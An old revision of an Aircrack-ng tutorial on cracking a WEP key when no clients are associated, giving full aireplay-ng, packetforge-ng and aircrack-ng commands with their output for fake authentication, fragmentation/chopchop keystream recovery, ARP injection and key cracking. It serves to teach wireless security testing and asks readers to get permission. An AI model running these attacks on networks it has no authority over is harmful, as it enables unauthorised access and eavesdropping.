This is an old revision of the document!
Version: 1.09 May 16, 2007
There are many times when a wireless network has no wireless clients associated with it. This tutorial describes how to crack the WEP key when there are no wireless clients. Although this topic has been discussed many times over in the Forum, this tutorial is intended to address the topic in more detail and provide working examples.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
First, this solution assumes:
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.
In the examples, the option “double dash bssid” is shown as “- -bssid”. Remember to remove the space between the two dashes when using it in real life. This also applies to “- -ivs”.
In this tutorial, here is what was used:
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
Here are the basic steps we will be going through:
To be honest, we will not be changing the wireless card MAC address.
This is a reminder to use your wireless card MAC address as the source MAC. I mention this explicitly as a reminder to use the actual MAC address from your card in “Step 3 - fake authentication” if you are replaying data from another session. Detailed instructions can be found in the FAQ: How do I change my card's MAC address ?.
Enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2 Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the “Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.
This is a very important step.
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.
The lack of association with the access point is the single biggest reason why injection fails.
To associate with an access point, use fake authentication:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Success looks like:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
Or another variation for picky access points:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Success looks like:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # and so on.
Here is an example of what a failed authentication looks like:
8:28:02 Sending Authentication Request 18:28:02 Authentication successful 18:28:02 Sending Association Request 18:28:02 Association successful :-) 18:28:02 Got a deauthentication packet! 18:28:05 Sending Authentication Request 18:28:05 Authentication successful 18:28:05 Sending Association Request 18:28:10 Sending Authentication Request 18:28:10 Authentication successful 18:28:10 Sending Association Request
Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.
tcpdump -n -e -s0 -vvv -i ath0
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:09:5B:EC:EE:F2) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.
The objective of the chopchop and fragmentation attacks is to obtain a PRGA (pseudo random genration algorithm) bit file. This PRGA is not the WEP key and cannot be used to decrypt packets. However, it can be used to create new packets for injection. The creation of new packets will be covered later in the tutorial.
Either chopchop or fragmentation attacks can be to obtain the PRGA bit file. The result is the same so use whichever one works for you. The pros and cons of each attack are described on the aircrack-ng page.
We will cover the fragmentation techninque first. Start anther console session and run:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
The system will respond:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0 Waiting for a data packet... Read 127 packets... Size: 114, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = 01:00:5E:00:00:FB Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B....^.....l~@. 0x0010: 0040 f477 e5c9 6052 8c00 0000 3073 d265 .@.w..`R....0s.e 0x0020: c402 790b 2293 c7d5 89c5 4136 7283 29df ..y.".....A6r.). 0x0030: 4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b N.^._CO..7?.M..; 0x0040: 8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5 .DX...z.+.>...O. 0x0050: 4563 906d 0d90 88c4 5532 a602 a8ea f8e2 Ec.m....U2...... 0x0060: c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1 .1..+(...."m.qj. 0x0070: 9c9f .. Use this packet ? y
When a packet from the access point arrives, enter “y” to proceed. You may need to try a few to be successful.
When successful, the system reponds:
Saving chosen packet in replay_src-0203-180328.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0203-180343.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Success! The file “fragment-0203-180343.xor” can then be used in the next step to generate an arp packet.
If the fragmentation attack was not successful, you can then try the chopchop technique next. Run:
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
The system responds:
Read 165 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.." 0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C 0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s 0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i. 0x0050: cfeb 4a72 be46 ..Jr.F Use this packet ? y
You respond “y” above and the system continues.
Saving chosen packet in replay_src-0201-191639.cap Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms Sent 957 packets, current guess: B9... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay_dec-0201-191706.xor Completed in 21s (2.29 bytes/s)
Success! The file “replay_dec-0201-191706.xor” above can then be used in the next step to generate an arp packet.
reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1
In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with “xor”. We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroacasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.
But first, lets generate the arp packet for injection by entering:
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0203-180343.xor -w arp-request
The system will respond:
Wrote packet to: arp-request
tcpdump -n -vvv -e -s0 -r arp-request
reading from file arp-request, link-type IEEE802_11 (802.11) 10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0
Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet.
Decrypt the packet:
airdecap-ng -e teddy -w <put your WEP key here> arp-request
View the decrypted packet:
tcpdump -n -r arp-request-dec
It should be something like:
reading from file arp-request-dec, link-type EN10MB (Ethernet) 10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255
Open another console session to capture the generated IVs. Then enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture ath0
Using the console session where you generated the arp packet, enter:
aireplay-ng -2 -r arp-request ath0
The system will respond:
Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:09:5B:EC:EE:F2 0x0000: 0841 0201 0014 6c7e 4080 0009 5bec eef2 .A....l~@...[... 0x0010: ffff ffff ffff 8001 8f00 0000 7af3 8be4 ............z... 0x0020: c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5 ...........q.Z8. 0x0030: f286 fdb3 55ee 113e da14 fb19 17cc 0b5e ....U..>.......^ 0x0040: 6ada 92f2 j... Use this packet ? y
Enter “y” to use this packet. The system responds by showing how many packets it is injecting and reminds you to start airodumump if it has not already been started:
Saving chosen packet in replay_src-0204-104917.cap You should also start airodump-ng to capture replies. End of file.
While this command is successfully running, the airodump-ng screen will look similar to:
CH 9 ][ Elapsed: 16 s ][ 2007-02-04 11:04 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 47 100 179 2689 336 9 11 WEP WEP teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:09:5B:EC:EE:F2 29 0 2707
You will notice that only one access point is being display since we included an airodump-ng filter to limit the capture to a single BSSID. Also notice that the station packets are roughly equal to the BSSID data packets. This means injection is working well. Also notice the data rate of 336 packets per second which is also an indicator that the injection is working well. This is a pretty “ideal” injection scenario.
Start another console session and enter:
aircrack-ng -z -b 00:14:6C:7E:40:80 capture*.cap
You can run this while generating packets. In a short time, the WEP key will be calculated and presented. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection arp request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the “- -ivs” option.
If you don't use the “-z” option, then the FMS/Korek method is applied. You will then need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128bit keys. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.
There is a neat trick which simplifies cracking WEP with no clients. Essentially it takes any packet broadcast by the access point and converts it to a broadcast packet such that the access point generates a new IV.
It is important to understand that if you use this trick, then you can't use the “-z” PTW method option when crack the WEP key. This is because the PTW method requires arp request/reply packets and this trick does not generate them.
OK, at this point you are asking why didn't you show me this technique right at the start? The reason is that this technique rebroadcasts whatever size packet you receive. So if you receive a 1000 byte packet you then rebroadcast 1000 bytes. This potentially slows down the packets per second rate considerably. However, on the good news side, it is simple and easy to use. You might also get lucky and receive a very small packet for rebroadcasting. In this case, the performance is comparable to the solution described above.
The same assumptions apply and you must also do a successful fake authentication first.
Enter the following command:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
The system will respond:
Read 698 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:D0:CF:03:34:8C 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 00d0 cf03 348c a0f4 2000 0000 e233 962a ....4... ....3.* 0x0020: 90b5 fe67 41e0 9dd5 7271 b8ed ed23 8eda ...gA...rq...#.. 0x0030: ef55 d7b0 a56f bc16 355f 8986 a7ab d495 .U...o..5_...... 0x0040: 1daa a308 6a70 4465 9fa6 5467 d588 c10c ....jpDe..Tg.... 0x0050: f043 09f6 5418 .C..T. Use this packet ? y
You enter “y” to select the packet and start injecting it. Remember, the smaller the packet, the better. You then start injecting:
Saving chosen packet in replay_src-0411-145110.cap Sent 10204 packets...(455 pps)
If you have not already started airodump-ng, be sure to start it now. Once you have sufficient IVs, you can start aircrack-ng and attempt to crack the WEP key.
Another variation of this attack is to use packets from a previous capture. You must have captured the full packets, not just the IVs.
Here is what the command would look like:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -r capture-01.cap ath0
Where “ -r capture-01.cap” is data from a previous capture.